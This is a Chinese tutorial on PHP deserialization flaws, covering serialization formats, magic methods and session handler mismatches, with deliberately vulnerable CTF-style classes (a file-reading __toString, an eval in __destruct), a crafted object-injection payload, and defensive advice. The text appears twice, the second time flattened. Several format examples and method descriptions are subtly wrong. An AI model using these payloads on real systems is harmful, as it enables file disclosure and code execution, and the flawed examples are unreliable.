PHP序列及反序列化安全漏洞
字数 1938 2025-08-27 12:33:54

PHP序列化与反序列化安全漏洞详解

1. 序列化和反序列化基础

1.1 基本概念

  • 序列化(Serialization): 将变量或对象转换成字符串的过程
  • 反序列化(Unserialization): 将字符串转换成变量或对象的过程

1.2 常见函数

  • serialize(): 序列化数据
  • unserialize(): 反序列化数据
  • json_encode(): JSON格式序列化
  • json_decode(): JSON格式反序列化

1.3 序列化格式

PHP序列化使用特定格式表示不同类型的数据:

  • 数组(array): a:<length>:{key,value对}

    • 示例: a:1:{i,1;j,2;}
  • 布尔值(Boolean): b

  • 浮点数(double): d

  • 整数(integer): i

  • 对象(object): O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}

    • 示例: O:6:"person":2:{s:4:"name";N;d:3:"age";i:19;} (person对象name属性为null,age属性为19)
  • 字符串(string): s:length:"value"

    • 示例: s:1:"f"
  • 空值(null): N

2. PHP魔术方法

魔术方法在特定情况下会被自动调用,在序列化安全中尤为重要:

  • __construct(): 创建对象时初始化
  • __destruct(): 对象被销毁时调用
  • __toString(): 对象被当作字符串使用时调用
  • __sleep(): 序列化对象之前调用
  • __wakeup(): 反序列化之前调用
  • __call(): 调用对象不存在的方法时使用
  • __get(): 调用私有属性时使用

3. PHP Session序列化机制

PHP内置了多种处理器用于序列化和反序列化Session数据:

  1. php_binary: 格式为键名长度的ASCII码+键名+序列化的值
  2. php: 格式为键名+"|"+序列化的值
  3. php_serialize (PHP 5.5.4+): 直接序列化值

配置方式:

  • 在php.ini中设置: session.serialize_handler
  • 在代码中设置: ini_set('session.serialize_handler', 'php')

示例对比

代码:

<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a'];
var_dump($_SESSION);
?>

当传入a=O:4:"pass":0:{}时:

  • php模式: a|s:15:"O:4:"pass":0:{}";
  • php_serialize模式: a:1:{s:1:"a";s:15:"O:4:"pass":0:{}";}

4. 安全漏洞分析

4.1 魔术方法执行漏洞

漏洞原理: 当反序列化用户可控的数据时,如果类中定义了魔术方法,这些方法会在特定条件下自动执行,可能导致安全问题。

示例1:

class Flag {
    public $file;
    
    public function __tostring() {
        if(isset($this->file)) {
            echo file_get_contents($this->file);
            return "good";
        }
    }
}

$password = unserialize($_GET['password']);
echo $password;

利用方法:

  1. 构造恶意序列化字符串:
$obj = new Flag();
$obj->file = "Flag.php";
echo serialize($obj);

输出: O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  1. 将此字符串作为password参数传入,当对象被当作字符串输出时会触发__tostring()方法,读取flag.php文件内容。

4.2 Session处理器不一致漏洞

漏洞原理: 当服务器配置使用php_serialize处理器,而代码中使用php处理器时,可能通过精心构造的Session数据实现对象注入。

示例2:

ini_set('session.serialize_handler', 'php');
session_start();

class OowoO {
    public $mdzz;
    
    function __construct() {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct() {
        eval($this->mdzz);
    }
}

if(isset($_GET['phpinfo'])) {
    $m = new OowoO();
} else {
    highlight_string(file_get_contents('index.php'));
}

利用方法:

  1. 当php.ini配置为session.serialize_handler = php_serialize,而代码中使用php处理器时
  2. 构造特殊的Session数据,利用php处理器以"|"为分隔符的特性
  3. 可以注入恶意对象,在反序列化时执行任意代码

5. 防御措施

  1. 不要反序列化不可信数据:避免直接反序列化用户输入
  2. 使用一致的处理程序:确保Session序列化处理程序在服务器和代码中一致
  3. 实现对象验证:在反序列化前验证数据
  4. 使用替代方案:考虑使用JSON等更安全的序列化格式
  5. 限制魔术方法:谨慎使用或限制魔术方法中的敏感操作
  6. 更新PHP版本:使用最新PHP版本以获得安全修复

6. 总结

PHP序列化与反序列化机制虽然方便,但不当使用会带来严重安全风险。开发者需要充分理解序列化格式、魔术方法的触发条件以及Session处理机制,才能有效防范相关漏洞。在实际开发中,应尽量避免反序列化用户可控的数据,或对反序列化过程实施严格的安全控制。

PHP序列化与反序列化安全漏洞详解 1. 序列化和反序列化基础 1.1 基本概念 序列化(Serialization) : 将变量或对象转换成字符串的过程 反序列化(Unserialization) : 将字符串转换成变量或对象的过程 1.2 常见函数 serialize() : 序列化数据 unserialize() : 反序列化数据 json_encode() : JSON格式序列化 json_decode() : JSON格式反序列化 1.3 序列化格式 PHP序列化使用特定格式表示不同类型的数据: 数组(array) : a:<length>:{key,value对} 示例: a:1:{i,1;j,2;} 布尔值(Boolean) : b 浮点数(double) : d 整数(integer) : i 对象(object) : O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>} 示例: O:6:"person":2:{s:4:"name";N;d:3:"age";i:19;} (person对象name属性为null,age属性为19) 字符串(string) : s:length:"value" 示例: s:1:"f" 空值(null) : N 2. PHP魔术方法 魔术方法在特定情况下会被自动调用,在序列化安全中尤为重要: __construct() : 创建对象时初始化 __destruct() : 对象被销毁时调用 __toString() : 对象被当作字符串使用时调用 __sleep() : 序列化对象之前调用 __wakeup() : 反序列化之前调用 __call() : 调用对象不存在的方法时使用 __get() : 调用私有属性时使用 3. PHP Session序列化机制 PHP内置了多种处理器用于序列化和反序列化Session数据: php_ binary : 格式为 键名长度的ASCII码+键名+序列化的值 php : 格式为 键名+"|"+序列化的值 php_ serialize (PHP 5.5.4+): 直接序列化值 配置方式: 在php.ini中设置: session.serialize_handler 在代码中设置: ini_set('session.serialize_handler', 'php') 示例对比 代码: 当传入 a=O:4:"pass":0:{} 时: php模式 : a|s:15:"O:4:"pass":0:{}"; php_ serialize模式 : a:1:{s:1:"a";s:15:"O:4:"pass":0:{}";} 4. 安全漏洞分析 4.1 魔术方法执行漏洞 漏洞原理 : 当反序列化用户可控的数据时,如果类中定义了魔术方法,这些方法会在特定条件下自动执行,可能导致安全问题。 示例1 : 利用方法 : 构造恶意序列化字符串: 输出: O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 将此字符串作为password参数传入,当对象被当作字符串输出时会触发 __tostring() 方法,读取flag.php文件内容。 4.2 Session处理器不一致漏洞 漏洞原理 : 当服务器配置使用php_ serialize处理器,而代码中使用php处理器时,可能通过精心构造的Session数据实现对象注入。 示例2 : 利用方法 : 当php.ini配置为 session.serialize_handler = php_serialize ,而代码中使用 php 处理器时 构造特殊的Session数据,利用php处理器以"|"为分隔符的特性 可以注入恶意对象,在反序列化时执行任意代码 5. 防御措施 不要反序列化不可信数据 :避免直接反序列化用户输入 使用一致的处理程序 :确保Session序列化处理程序在服务器和代码中一致 实现对象验证 :在反序列化前验证数据 使用替代方案 :考虑使用JSON等更安全的序列化格式 限制魔术方法 :谨慎使用或限制魔术方法中的敏感操作 更新PHP版本 :使用最新PHP版本以获得安全修复 6. 总结 PHP序列化与反序列化机制虽然方便,但不当使用会带来严重安全风险。开发者需要充分理解序列化格式、魔术方法的触发条件以及Session处理机制,才能有效防范相关漏洞。在实际开发中,应尽量避免反序列化用户可控的数据,或对反序列化过程实施严格的安全控制。